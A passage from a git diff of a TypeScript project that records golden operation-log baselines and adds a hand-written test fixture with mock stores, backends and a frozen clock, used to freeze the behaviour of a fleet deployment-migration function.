'worker-readysteady-state-ab62bd5bf4ae76f23a5b', + artifactVersion: 'state-v1', + artifactDigest: + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + durableObjectBindings: [], + namespaceIds: [], + }, + egressProxy: { + scriptName: 'worker-readysteady-egress-ab62bd5bf4ae76f23a5b', + artifactVersion: 'egress-v1', + artifactDigest: + 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + policyId: 'ab62bd5bf4ae76f23a5b', + policyHosts: ['api.example.test'], + policyDigest: + '008311f7e91a3a3de1d9684b4404deb1b8e2b3a3e3d7bdff33f010eaf677163a', + }, + }, + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + applicationResources: [], + settledSettlementKey: + 'db2a02ad3af863decedc58561b6b1b5119f7c821b0a83d879416bd1ec2d186c5', + invocationAuthority: { + version: 1, + authorizedAt: '2026-06-01T00:00:00.000Z', + }, + }, +] as const satisfies readonly FleetRecord[]; + +/** + * Every collaborator call `migrateFleet()` made for the success world, in + * order: the store's `withDeploymentLease`/`get`/`put:` + * and `lease.assertOwned()`, every `resolver::` invocation, every + * backend call, and every settlement. The finalized-state provider's six + * tokens and the state reconcile's `put:upload-authorized`/`put:uploaded` are + * in `MigrationOpLogEntry`'s vocabulary but never appear here: no world holds + * a finalized-ordinary-plane record. + */ +export const MIGRATION_SUCCESS_BASELINE_OPS = [ + 'withDeploymentLease', + 'get', + 'resolver:backendFor:extfull:production', + 'resolver:specFor:extfull:production', + 'resolver:secretsFor:extfull:production', + 'releaseScriptName', + 'describeExternalPlatformTarget', + 'getDatabase', + 'readDeploymentIdentity', + 'put:migrating', + 'assertOwned', + 'seedDeploymentIdentity', + 'assertOwned', + 'applyMigrations:verify', + 'put:schema-applied', + 'assertOwned', + 'ensurePlatformResources', + 'put:migrating', + 'put:platform-applied', + 'put:migrating', + 'put:migrating', + 'assertOwned', + 'deployWorker', + 'inspect', + 'put:candidate-deployed', + 'assertOwned', + 'ensureMaintenance', + 'put:candidate-armed', + 'inspect', + 'assertOwned', + 'promoteWorker', + 'put:route-published', + 'inspect', + 'resolver:settlementFor:extfull:production', + 'attestActiveRoute', + 'settle:0b32b3081b897947a1db852b033a86fad2e38700dc2824e91cc292904e642b6c', + 'put:ready', + 'assertOwned', + 'deleteRetainedRelease', + 'put:ready', + 'withDeploymentLease', + 'get', + 'resolver:backendFor:plainmulti:production', + 'resolver:specFor:plainmulti:production', + 'resolver:secretsFor:plainmulti:production', + 'getDatabase', + 'readDeploymentIdentity', + 'put:migrating', + 'assertOwned', + 'seedDeploymentIdentity', + 'assertOwned', + 'applyMigrations:2', + 'put:migrating', + 'assertOwned', + 'applyMigrations:3', + 'put:migrating', + 'inspect', + 'put:migrating', + 'assertOwned', + 'deployWorker', + 'inspect', + 'put:migrating', + 'assertOwned', + 'ensureMaintenance', + 'inspect', + 'assertOwned', + 'promoteWorker', + 'inspect', + 'resolver:settlementFor:plainmulti:production', + 'attestActiveRoute', + 'settle:2c4bf4db5f076b148e247b473983a304137a0ff1a1a5e717ecc9b148f10e7d11', + 'put:ready', + 'withDeploymentLease', + 'get', + 'resolver:backendFor:platformonly:production', + 'resolver:specFor:platformonly:production', + 'resolver:secretsFor:platformonly:production', + 'releaseScriptName', + 'describeExternalPlatformTarget', + 'getDatabase', + 'readDeploymentIdentity', + 'put:migrating', + 'put:schema-applied', + 'assertOwned', + 'ensurePlatformResources', + 'put:migrating', + 'put:platform-applied', + 'inspect', + 'put:migrating', + 'assertOwned', + 'ensureMaintenance', + 'inspect', + 'assertOwned', + 'promoteWorker', + 'put:route-published', + 'inspect', + 'resolver:settlementFor:platformonly:production', + 'attestActiveRoute', + 'settle:be9c10cc1282c29405ae83ce4aea196b0d2aeea40968af5815a0d5cdafa9f066', + 'put:ready', + 'withDeploymentLease', + 'get', + 'resolver:backendFor:readysteady:production', + 'resolver:specFor:readysteady:production', + 'resolver:secretsFor:readysteady:production', + 'releaseScriptName', + 'describeExternalPlatformTarget', + 'getDatabase', + 'readDeploymentIdentity', + 'assertOwned', + 'deleteRetainedRelease', + 'put:ready', + 'assertOwned', + 'ensurePlatformResources', + 'inspect', + 'put:ready', + 'assertOwned', + 'ensureMaintenance', + 'assertOwned', + 'promoteWorker', + 'resolver:settlementFor:readysteady:production', + 'attestActiveRoute', +] as const satisfies readonly MigrationOpLogEntry[]; + +/** The exact refusal `migrateFleet()` rejected the stop world with. */ +export const MIGRATION_STOP_BASELINE_ERROR = + "deployment 'bravo:production' has active backend switch 'candidate-deployed'" as const satisfies string; + +/** + * Every collaborator call `migrateFleet()` made for the stop world before it + * rejected, in order. First-error stop parity is the SHAPE of this log: the + * first record's whole body, then the refused record's `withDeploymentLease` + * and `get` — the two calls its refusal fires after — and then nothing, because + * the drain never reaches the third record. + */ +export const MIGRATION_STOP_BASELINE_OPS = [ + 'withDeploymentLease', + 'get', + 'resolver:backendFor:alpha:production', + 'resolver:specFor:alpha:production', + 'resolver:secretsFor:alpha:production', + 'getDatabase', + 'readDeploymentIdentity', + 'put:migrating', + 'assertOwned', + 'seedDeploymentIdentity', + 'assertOwned', + 'applyMigrations:2', + 'put:migrating', + 'inspect', + 'put:migrating', + 'assertOwned', + 'deployWorker', + 'inspect', + 'put:migrating', + 'assertOwned', + 'ensureMaintenance', + 'inspect', + 'assertOwned', + 'promoteWorker', + 'inspect', + 'resolver:settlementFor:alpha:production', + 'attestActiveRoute', + 'settle:fed662c15639242a95f2a01b42394e5ce93bfdacc9891bf9d3582d10d16c6df8', + 'put:ready', + 'withDeploymentLease', + 'get', +] as const satisfies readonly MigrationOpLogEntry[]; diff --git a/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts b/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts new file mode 100644 index 00000000..af471c65 --- /dev/null +++ b/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts @@ -0,0 +1,1289 @@ +// SPDX-License-Identifier: Apache-2.0 + +/** + * Hand-authored deterministic worlds for the `migrateFleet` golden baselines. + * `scripts/record-migration-baseline.mjs` and + * `test/fleet-migration-golden.test.ts` both import this file; the recorder + * NEVER writes it, so the recorded literals can never rewrite their own input. + * + * The worlds freeze the SHIPPED behavior of `migrateFleet` in `src/fleet.ts` + * before its internals are decomposed into a bounded frozen-plan executor + * (R4-C.2), so the decomposition can be proven behavior-equivalent. Each world + * records the value `migrateFleet` produced AND the exact sequence of calls it + * made onto its `store`, `backendFor`, `specFor`, `secretsFor`, and + * `settlementFor` collaborators (the "op log"). + * + * TWO worlds, because the drain has two observable contracts: + * - the SUCCESS world (`runFleetMigrationSuccessBaseline`) drives four + * records — one immutable-external full migration, one non-external + * platform-authored full migration over several D1 versions, one + * platform-only change, and one ready steady-state reconcile — and freezes + * the returned `readonly FleetRecord[]` beside the op log. + * - the STOP world (`runFleetMigrationStopBaseline`) drives three records in + * the frozen scheduler order and freezes FIRST-ERROR STOP PARITY: the + * first record completes, the second is refused in the admit preamble, and + * the third contributes no op at all. `migrateFleet` rejects, so the world + * freezes the refusal message beside the op log. + * + * OP-LOG VOCABULARY (`MigrationOpLogEntry`, below) is derived from the calls + * the migration BODY actually makes, not from the collaborator port's member + * list. Four token compositions carry a key: + * - `resolver:::` — the resolver invocation, + * keyed by the record it resolved for. + * - `put:` — the value of the field THAT put advances: + * the record `phase` when it moves (including the admission put, which + * moves `phase` AND the external `migrationIntent.subphase`), otherwise + * the advanced `migrationIntent.subphase`, otherwise the record's current + * `phase` for a put that advances neither. + * - `applyMigrations:` — `verify` for the zero-pending + * ledger-verification call, which passes `spec.migrations` itself, and the + * sliced array's length for each per-version call. The two are told apart + * by REFERENCE identity against the spec object `specFor` returned, never + * by comparing contents: the last per-version slice is content-equal to + * `spec.migrations`. + * - `settle:` — the settlement the host was handed, keyed by + * the key the promotion settled under. + * + * SEAMS. Every collaborator member these two worlds never reach THROWS, so a + * bounded decomposition that starts calling one fails loudly instead of + * silently no-opping. The four FEATURE-DETECTED optional backend members — + * `releaseScriptName`, `ensurePlatformResources`, `deleteRetainedRelease`, and + * `describeExternalPlatformTarget` — are REAL on the immutable-external + * backend, because a present-but-throwing member is observably different from + * an absent one at a feature-detection site; the non-external backend declares + * none of them, which is what makes its records take the non-external path. + * + * CLOCK FENCE. `migrateFleet` stamps every write it performs from + * `options.clock`, so the recording lease refuses any put whose `updatedAt` is + * not the frozen instant. A mis-wired clock therefore fails the recorder and + * the golden test loudly rather than writing a plausible baseline: the success + * runner lets the violation propagate, and the stop runner inspects the + * violations BEFORE it reports the caught refusal, so a clock fault can never + * render as a plausible stop. + * + * WHAT IS DELIBERATELY ABSENT. Neither world holds a finalized-ordinary-plane + * external record, so the finalized-state provider is never resolved and the + * state-reconcile route is never entered: `describeFinalizedState`, + * `describeFinalizedBridgeTarget`, `assertFinalizedState`, + * `ensureFinalizedState`, `commitFinalizedOwnership`, + * `resolver:finalizedStateProviderFor:`, and the reconcile's + * `put:upload-authorized`/`put:uploaded` are vocabulary-only here. Their drain + * behavior stays pinned by `test/fleet.test.ts:3703`. + */ + +import { migrateFleet } from '../../src/fleet.js'; +import { + canonicalDeploymentEgressPolicy, + externalEgressProxyScriptName, + externalPlatformResourceGroupId, + externalStateScriptName, +} from '../../src/platform-resources.js'; +import { providerBindingIdentitiesForInspection } from '../../src/provider-binding-inventory.js'; +import { fleetSettlementKey } from '../../src/settlement.js'; +import { deploymentSpecDigest } from '../../src/spec-digest.js'; +import type { + ActiveRouteAttestation, + ApplicationBindingTopology, + D1Migration, + DatabaseExport, + DatabaseReference, + DeploymentEgressPolicy, + DeploymentSecrets, + DeploymentSpec, + ExternalMutationFence, + ExternalPlatformResources, + ExternalPlatformTargetDescription, + ExternalReleaseSnapshot, + FleetRecord, + FleetSettlementContext, + FleetSettlementHost, + FleetStateLease, + FleetStateStore, + LiveDeployment, + MaintenanceHealth, + PromotionGuard, + ProvisioningBackend, + ProvisioningBackendKind, +} from '../../src/types.js'; +import { externalReleaseScriptName } from '../../src/workers-for-platforms-backend.js'; + +const ENVIRONMENT = 'production'; + +/** + * Frozen clock: the only time source `migrateFleet` reads (`options.clock`, + * src/fleet.ts:2018), so every `updatedAt` it writes is this instant. + */ +const MIGRATION_NOW = Date.parse('2026-06-01T00:00:00.000Z'); +const FROZEN_UPDATED_AT = new Date(MIGRATION_NOW).toISOString(); +const MIGRATION_CLOCK = () => MIGRATION_NOW; + +/** Every seeded record's pre-migration stamp, distinct from the frozen one. */ +const ORIGIN_UPDATED_AT = '2026-05-01T00:00:00.000Z'; + +const MAINTENANCE_PUBLIC_KEY = + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}'; + +/** 64-hex platform-target digests: `describeExternalPlatformTarget` validates their shape. */ +const STATE_ARTIFACT_DIGEST = 'a'.repeat(64); +const MOVED_STATE_ARTIFACT_DIGEST = 'd'.repeat(64); +const EGRESS_ARTIFACT_DIGEST = 'b'.repeat(64); +const STATE_DURABLE_OBJECT_HISTORY_DIGEST = 'c'.repeat(64); +const PLATFORM_ONLY_PRIOR_D1_HISTORY_DIGEST = 'f'.repeat(64); + +const HEALTHY_MAINTENANCE: MaintenanceHealth = { + armed: true, + nextAlarmAt: MIGRATION_NOW + 60_000, + lastSweepAt: MIGRATION_NOW - 60_000, + lastPurgeAt: MIGRATION_NOW - 60_000, +}; + +const UNARMED_MAINTENANCE: MaintenanceHealth = { + armed: false, + nextAlarmAt: null, + lastSweepAt: null, + lastPurgeAt: null, +}; + +const EMPTY_APPLICATION: ApplicationBindingTopology = { + vars: [], + secrets: [], + r2Buckets: [], +}; + +const D1_MIGRATIONS: readonly D1Migration[] = [ + { version: 1, sql: 'CREATE TABLE example (id TEXT PRIMARY KEY)' }, + { + version: 2, + sql: 'ALTER TABLE example ADD COLUMN value TEXT', + rollbackCompatible: true, + }, + { + version: 3, + sql: 'ALTER TABLE example ADD COLUMN expanded TEXT', + rollbackCompatible: true, + }, +]; + +/** + * The op log's frozen vocabulary. Bare tokens name a call whose relative + * position identifies it against these single-pass worlds; the four keyed + * families carry the one field that distinguishes otherwise identical calls. + */ +export type MigrationOpLogEntry = + | 'withDeploymentLease' + | 'get' + | 'assertOwned' + | 'releaseScriptName' + | 'getDatabase' + | 'readDeploymentIdentity' + | 'seedDeploymentIdentity' + | 'ensurePlatformResources' + | 'describeExternalPlatformTarget' + | 'describeFinalizedState' + | 'describeFinalizedBridgeTarget' + | 'assertFinalizedState' + | 'ensureFinalizedState' + | 'commitFinalizedOwnership' + | 'deployWorker' + | 'promoteWorker' + | 'ensureMaintenance' + | 'inspect' + | 'attestActiveRoute' + | 'deleteRetainedRelease' + | `put:${string}` + | `resolver:${string}` + | `applyMigrations:${string}` + | `settle:${string}`; + +function deploymentKey(record: { + readonly tenantTag: string; + readonly environment: string; +}): string { + return `${record.tenantTag}:${record.environment}`; +} + +function secretsForTenant(tenantTag: string): DeploymentSecrets { + return { + deploymentIdentity: `deployment-identity-secret-${tenantTag}-00000001`, + maintenanceAdmin: `maintenance-admin-secret-${tenantTag}-00000001`, + }; +} + +/** + * The token a put carries: the value of the field THIS put advances. `phase` + * wins where a put moves more than one (the admission put moves `phase` to + * `migrating` AND the external intent to `planned`); a put advancing neither + * a phase nor a subphase carries the record's current `phase`. + */ +function putToken( + previous: FleetRecord | undefined, + next: FleetRecord, +): string { + if (!previous) return next.phase; + if (next.phase !== previous.phase) return next.phase; + const migrationSubphase = next.migrationIntent?.subphase; + if ( + migrationSubphase !== undefined && + migrationSubphase !== previous.migrationIntent?.subphase + ) { + return migrationSubphase; + } + const reconcileSubphase = + next.backendSwitchIntent?.stateReconcileIntent?.subphase; + if ( + reconcileSubphase !== undefined && + reconcileSubphase !== + previous.backendSwitchIntent?.stateReconcileIntent?.subphase + ) { + return reconcileSubphase; + } + return next.phase; +} + +class RecordingFleetStore implements FleetStateStore { + readonly #records = new Map(); + readonly #ops: MigrationOpLogEntry[]; + readonly #fenceViolations: string[]; + + constructor( + records: readonly FleetRecord[], + ops: MigrationOpLogEntry[], + fenceViolations: string[], + ) { + this.#ops = ops; + this.#fenceViolations = fenceViolations; + for (const record of records) { + this.#records.set(deploymentKey(record), record); + } + } + + async withDeploymentLease( + tenantTag: string, + environment: string, + operation: (lease: FleetStateLease) => Promise, + ): Promise { + this.#ops.push('withDeploymentLease'); + const key = `${tenantTag}:${environment}`; + return operation({ + tenantTag, + environment, + mutationLeaseTtlMs: 900_000, + assertOwned: async () => { + this.#ops.push('assertOwned'); + }, + renew: async () => { + throw new Error('unused'); + }, + put: async (record) => { + // Clock fence: `migrateFleet` stamps every write it performs from + // `options.clock`, so a put carrying any other instant means the + // injected clock stopped reaching a write site. Recording the message + // before throwing lets the stop runner see the fault even though the + // migration's own rejection is what the world would otherwise freeze. + if (record.updatedAt !== FROZEN_UPDATED_AT) { + const message = `put payload updatedAt '${record.updatedAt}' for '${key}' does not match the frozen migration clock`; + this.#fenceViolations.push(message); + throw new Error(message); + } + if (deploymentKey(record) !== key) { + const message = `put payload for '${deploymentKey(record)}' arrived under the lease for '${key}'`; + this.#fenceViolations.push(message); + throw new Error(message); + } + this.#ops.push(`put:${putToken(this.#records.get(key), record)}`); + this.#records.set(key, record); + }, + delete: async () => { + throw new Error('unused'); + }, + completeCleanup: async () => { + throw new Error('unused'); + }, + deleteReleasingClaims: async () => { + throw new Error('unused'); + }, + }); + } + + async get( + tenantTag: string, + environment: string, + ): Promise { + this.#ops.push('get'); + return this.#records.get(`${tenantTag}:${environment}`); + } + + async list(): Promise { + throw new Error('unused'); + } + + async readCleanupReceipt(): Promise { + throw new Error('unused'); + } + + async pruneCleanupReceipts(): Promise { + throw new Error('unused'); + } +} + +/** + * The non-external backend: no `immutableExternalArtifacts`, and none of the + * four feature-detected external members, so its records take the plain path. + */ +class RecordingPlainBackend implements ProvisioningBackend { + readonly kind: ProvisioningBackendKind = 'plain-worker'; + protected readonly ops: MigrationOpLogEntry[]; + protected readonly specsByDatabaseId: ReadonlyMap; + protected readonly fenceViolations: string[]; + protected readonly live = new Map(); + protected readonly routed = new Map(); + + constructor( + ops: MigrationOpLogEntry[], + specsByDatabaseId: ReadonlyMap, + fenceViolations: string[], + ) { + this.ops = ops; + this.specsByDatabaseId = specsByDatabaseId; + this.fenceViolations = fenceViolations; + } + + /** Refuses a credential that belongs to another record. */ + protected assertOwnCredential(spec: DeploymentSpec, secret: string): void { + const expected = secretsForTenant(spec.tenantTag).maintenanceAdmin; + if (secret !== expected) { + const message = `maintenance credential for '${deploymentKey(spec)}' reached a call for another deployment`; + this.fenceViolations.push(message); + throw new Error(message); + } + } + + seedLive(tenantTag: string, live: LiveDeployment): void { + this.live.set(tenantTag, live); + } + + async findDatabase(): Promise { + throw new Error('unused'); + } + + async getDatabase(databaseId: string): Promise { + this.ops.push('getDatabase'); + return { + id: databaseId, + name: `database-${databaseId.replace(/^db-/u, '')}`, + created: false, + }; + } + + async ensureDatabase(): Promise { + throw new Error('unused'); + } + + async seedDeploymentIdentity(): Promise { + this.ops.push('seedDeploymentIdentity'); + } + + async readDeploymentIdentity( + database: DatabaseReference, + ): Promise { + this.ops.push('readDeploymentIdentity'); + return database.id.replace(/^db-/u, ''); + } + + async applyMigrations( + database: DatabaseReference, + migrations: readonly D1Migration[], + ): Promise { + const spec = this.specsByDatabaseId.get(database.id); + // Reference identity, never contents: the LAST per-version slice is + // content-equal to the zero-pending call's `spec.migrations`. + this.ops.push( + migrations === spec?.migrations + ? 'applyMigrations:verify' + : `applyMigrations:${migrations.length}`, + ); + } + + async deployWorker( + spec: DeploymentSpec, + database: DatabaseReference, + _secrets: DeploymentSecrets, + _platformResources: ExternalPlatformResources | undefined, + _fence: ExternalMutationFence, + _expectedArtifactVersion: string | undefined, + application?: ApplicationBindingTopology, + ): Promise> { + this.ops.push('deployWorker'); + const artifactVersion = `v${spec.schemaVersion}`; + this.live.set( + spec.tenantTag, + liveDeployment({ + tenantTag: spec.tenantTag, + environment: spec.environment, + scriptName: spec.scriptName, + databaseId: database.id, + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + plainTextBindings: {}, + secretNames: [ + 'DEPLOYMENT_IDENTITY_SECRET', + ...(spec.authoredBy === 'platform' + ? ['MAINTENANCE_ADMIN_SECRET'] + : []), + ...(application?.secrets ?? []).map(({ name }) => name), + ].sort(), + artifactVersion, + desiredSpecDigest: deploymentSpecDigest(spec), + schemaVersion: spec.schemaVersion, + maintenance: HEALTHY_MAINTENANCE, + }), + ); + return { artifactVersion, created: false }; + } + + async promoteWorker( + spec: DeploymentSpec, + _guard: PromotionGuard, + _outboundPolicy: DeploymentEgressPolicy | undefined, + _fence: ExternalMutationFence, + expectedArtifactVersion: string | undefined, + ): Promise { + this.ops.push('promoteWorker'); + this.routed.set(spec.tenantTag, { + specDigest: deploymentSpecDigest(spec), + artifactVersion: + expectedArtifactVersion ?? + this.live.get(spec.tenantTag)?.artifactVersion ?? + `v${spec.schemaVersion}`, + physicalScriptName: spec.scriptName, + source: 'workers-deployments', + observedAt: FROZEN_UPDATED_AT, + }); + } + + async ensureMaintenance( + spec: DeploymentSpec, + maintenanceAdminSecret: string, + ): Promise { + this.ops.push('ensureMaintenance'); + this.assertOwnCredential(spec, maintenanceAdminSecret); + const live = this.live.get(spec.tenantTag); + if (live) { + this.live.set(spec.tenantTag, { + ...live, + maintenance: HEALTHY_MAINTENANCE, + }); + } + return HEALTHY_MAINTENANCE; + } + + async inspect( + spec: DeploymentSpec, + maintenanceAdminSecret: string, + ): Promise { + this.ops.push('inspect'); + this.assertOwnCredential(spec, maintenanceAdminSecret); + return this.live.get(spec.tenantTag); + } + + async attestActiveRoute( + spec: DeploymentSpec, + ): Promise { + this.ops.push('attestActiveRoute'); + const attestation = this.routed.get(spec.tenantTag); + if (!attestation) throw new Error(`no route serves '${spec.tenantTag}'`); + return attestation; + } + + async removeTraffic(): Promise { + throw new Error('unused'); + } + + async assertTrafficRemoved(): Promise { + throw new Error('unused'); + } + + async revokeCredentials(): Promise { + throw new Error('unused'); + } + + async deleteWorker(): Promise { + throw new Error('unused'); + } + + async assertDatabaseDetached(): Promise { + throw new Error('unused'); + } + + async exportDatabase(): Promise { + throw new Error('unused'); + } + + async deleteDatabase(): Promise { + throw new Error('unused'); + } +} + +/** + * The immutable-external backend. All four feature-detected members are REAL, + * because a present-but-throwing member is observably different from an absent + * one everywhere `migrateFleet` feature-detects. + */ +class RecordingImmutableBackend extends RecordingPlainBackend { + override readonly kind: ProvisioningBackendKind = 'workers-for-platforms'; + readonly immutableExternalArtifacts = true as const; + readonly retiredScriptNames: string[] = []; + readonly releases = new Map(); + /** The release each deployment's own host route names, written by promotion. */ + readonly routedScriptNames = new Map(); + stateArtifactDigest = STATE_ARTIFACT_DIGEST; + policyHosts: readonly string[] = ['api.example.test']; + + releaseScriptName(spec: DeploymentSpec): string { + this.ops.push('releaseScriptName'); + return externalReleaseScriptName(spec); + } + + describeExternalPlatformTarget( + spec: DeploymentSpec, + ): ExternalPlatformTargetDescription { + this.ops.push('describeExternalPlatformTarget'); + return this.platformTargetFor(spec); + } + + /** The pure derivation behind `describeExternalPlatformTarget`, unrecorded. */ + platformTargetFor(spec: DeploymentSpec): ExternalPlatformTargetDescription { + return { + maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + stateArtifactDigest: this.stateArtifactDigest, + stateDurableObjectHistoryDigest: STATE_DURABLE_OBJECT_HISTORY_DIGEST, + egressArtifactDigest: EGRESS_ARTIFACT_DIGEST, + d1SchemaVersion: spec.schemaVersion, + d1SchemaHistoryDigest: deploymentSpecDigest(spec), + outboundPolicy: canonicalDeploymentEgressPolicy({ + policyId: externalPlatformResourceGroupId(spec), + tenantTag: spec.tenantTag, + environment: spec.environment, + allowedHosts: this.policyHosts, + }), + }; + } + + platformResourcesFor(spec: DeploymentSpec): ExternalPlatformResources { + const target = this.platformTargetFor(spec); + return { + maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + stateWorker: { + scriptName: externalStateScriptName(spec), + artifactVersion: 'state-v1', + artifactDigest: target.stateArtifactDigest, + durableObjectBindings: [], + namespaceIds: [], + }, + egressProxy: { + scriptName: externalEgressProxyScriptName(spec), + artifactVersion: 'egress-v1', + artifactDigest: EGRESS_ARTIFACT_DIGEST, + ...target.outboundPolicy, + }, + }; + } + + async ensurePlatformResources(spec: DeploymentSpec): Promise< + Readonly<{ + resources: ExternalPlatformResources; + created: Readonly<{ stateWorker: boolean; egressProxy: boolean }>; + }> + > { + this.ops.push('ensurePlatformResources'); + return { + resources: this.platformResourcesFor(spec), + created: { stateWorker: false, egressProxy: false }, + }; + } + + override async deployWorker( + spec: DeploymentSpec, + database: DatabaseReference, + _secrets: DeploymentSecrets, + _platformResources: ExternalPlatformResources | undefined, + _fence: ExternalMutationFence, + _expectedArtifactVersion: string | undefined, + application?: ApplicationBindingTopology, + ): Promise< + Readonly<{ + artifactVersion: string; + created: boolean; + physicalScriptName: string; + }> + > { + this.ops.push('deployWorker'); + const physicalScriptName = externalReleaseScriptName(spec); + const existing = this.releases.get(physicalScriptName); + if (!existing) { + this.releases.set( + physicalScriptName, + liveDeployment({ + tenantTag: spec.tenantTag, + environment: spec.environment, + scriptName: physicalScriptName, + databaseId: database.id, + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + plainTextBindings: {}, + secretNames: [ + 'DEPLOYMENT_IDENTITY_SECRET', + ...(application?.secrets ?? []).map(({ name }) => name), + ].sort(), + artifactVersion: `etag:${physicalScriptName}`, + desiredSpecDigest: deploymentSpecDigest(spec), + schemaVersion: spec.schemaVersion, + maintenance: HEALTHY_MAINTENANCE, + }), + ); + } + return { + artifactVersion: `etag:${physicalScriptName}`, + created: !existing, + physicalScriptName, + }; + } + + override async promoteWorker( + spec: DeploymentSpec, + guard: PromotionGuard, + ): Promise { + this.ops.push('promoteWorker'); + const physical = externalReleaseScriptName(spec); + const routed = this.routedScriptNames.get(spec.tenantTag); + if ( + (routed === undefined && !guard.allowUnrouted) || + (routed !== undefined && + !guard.allowedCurrentScriptNames.includes(routed)) + ) { + throw new Error('route changed after lifecycle intent was persisted'); + } + this.routedScriptNames.set(spec.tenantTag, physical); + } + + override async ensureMaintenance( + spec: DeploymentSpec, + maintenanceAdminSecret: string, + ): Promise { + this.ops.push('ensureMaintenance'); + this.assertOwnCredential(spec, maintenanceAdminSecret); + const physical = externalReleaseScriptName(spec); + const release = this.releases.get(physical); + if (release) { + this.releases.set(physical, { + ...release, + maintenance: HEALTHY_MAINTENANCE, + }); + } + return HEALTHY_MAINTENANCE; + } + + override async inspect( + spec: DeploymentSpec, + maintenanceAdminSecret: string, + ): Promise { + this.ops.push('inspect'); + this.assertOwnCredential(spec, maintenanceAdminSecret); + return this.releases.get(externalReleaseScriptName(spec)); + } + + override async attestActiveRoute( + spec: DeploymentSpec, + ): Promise { + this.ops.push('attestActiveRoute'); + const routed = this.routedScriptNames.get(spec.tenantTag); + const release = routed ? this.releases.get(routed) : undefined; + if (!routed || !release) { + throw new Error(`no release serves '${spec.routeHostname}'`); + } + return { + specDigest: release.desiredSpecDigest, + artifactVersion: release.artifactVersion, + physicalScriptName: routed, + source: 'dispatch-route', + observedAt: FROZEN_UPDATED_AT, + }; + } + + async deleteRetainedRelease( + _spec: DeploymentSpec, + release: ExternalReleaseSnapshot, + ): Promise { + this.ops.push('deleteRetainedRelease'); + this.retiredScriptNames.push(release.physicalScriptName); + this.releases.delete(release.physicalScriptName); + } +} + +class RecordingSettlementHost implements FleetSettlementHost { + readonly #ops: MigrationOpLogEntry[]; + + constructor(ops: MigrationOpLogEntry[]) { + this.#ops = ops; + } + + async settle(context: FleetSettlementContext): Promise { + this.#ops.push(`settle:${context.settlementKey}`); + } +} + +function liveDeployment( + live: Omit, +): LiveDeployment { + return { + ...live, + providerBindingIdentities: providerBindingIdentitiesForInspection({ + ...live, + databaseIds: [live.databaseId], + }), + }; +} + +function baseSpec( + tenantTag: string, + overrides: Partial = {}, +): DeploymentSpec { + const schemaVersion = overrides.schemaVersion ?? 1; + return { + tenantTag, + environment: ENVIRONMENT, + scriptName: `worker-${tenantTag}`, + databaseName: `database-${tenantTag}`, + compatibilityDate: '2026-05-01', + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + authoredBy: 'external', + schemaVersion, + migrations: D1_MIGRATIONS.slice(0, schemaVersion), + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: `https://control-worker-${tenantTag}.example.test`, + routeHostname: `worker-${tenantTag}.example.test`, + ...overrides, + }; +} + +function baseRecord( + tenantTag: string, + backend: ProvisioningBackendKind, + overrides: Partial = {}, +): FleetRecord { + return { + tenantTag, + backend, + environment: ENVIRONMENT, + scriptName: `worker-${tenantTag}`, + databaseId: `db-${tenantTag}`, + databaseName: `database-${tenantTag}`, + schemaVersion: 1, + artifactVersion: 'v1', + desiredSpecDigest: 'e'.repeat(64), + durableObjectBindings: [], + routeHostname: `worker-${tenantTag}.example.test`, + phase: 'ready', + updatedAt: ORIGIN_UPDATED_AT, + ...overrides, + }; +} + +function externalRelease( + spec: DeploymentSpec, + overrides: Partial = {}, +): ExternalReleaseSnapshot { + const physicalScriptName = externalReleaseScriptName(spec); + return { + physicalScriptName, + specDigest: deploymentSpecDigest(spec), + artifactVersion: `etag:${physicalScriptName}`, + releaseSchemaVersion: spec.schemaVersion, + application: EMPTY_APPLICATION, + ...overrides, + }; +} + +/** The live release an immutable backend already serves for `spec`. */ +function seededRelease( + spec: DeploymentSpec, + record: FleetRecord, + maintenance: MaintenanceHealth = HEALTHY_MAINTENANCE, +): LiveDeployment { + const physicalScriptName = externalReleaseScriptName(spec); + return liveDeployment({ + tenantTag: spec.tenantTag, + environment: spec.environment, + scriptName: physicalScriptName, + databaseId: record.databaseId, + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + plainTextBindings: {}, + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + artifactVersion: `etag:${physicalScriptName}`, + desiredSpecDigest: deploymentSpecDigest(spec), + schemaVersion: spec.schemaVersion, + maintenance, + }); +} + +interface WorldRun { + readonly records: readonly FleetRecord[]; + readonly specs: ReadonlyMap; + readonly backends: ReadonlyMap; + readonly ops: MigrationOpLogEntry[]; + readonly fenceViolations: string[]; +} + +/** Drives `migrateFleet` over one assembled world through recording resolvers. */ +async function runWorld(world: WorldRun): Promise { + const store = new RecordingFleetStore( + world.records, + world.ops, + world.fenceViolations, + ); + const settlementHost = new RecordingSettlementHost(world.ops); + const resolve = ( + kind: string, + record: FleetRecord, + source: ReadonlyMap, + ): Value => { + const key = deploymentKey(record); + world.ops.push(`resolver:${kind}:${key}`); + const value = source.get(key); + if (value === undefined) { + throw new Error(`no ${kind} fixture for '${key}'`); + } + return value; + }; + return migrateFleet({ + store, + records: world.records, + canaryTenantTags: [], + backendFor: (record) => resolve('backendFor', record, world.backends), + specFor: (record) => resolve('specFor', record, world.specs), + secretsFor: (record) => { + world.ops.push(`resolver:secretsFor:${deploymentKey(record)}`); + return secretsForTenant(record.tenantTag); + }, + settlementFor: (record) => { + world.ops.push(`resolver:settlementFor:${deploymentKey(record)}`); + return settlementHost; + }, + clock: MIGRATION_CLOCK, + // The body spreads `routeAttestation` AFTER its own `clock` + // (`fleet.ts:2035-2038`), so this object must never carry a `clock` key: one + // here would silently override the frozen clock for the attestation, and the + // put fence could not 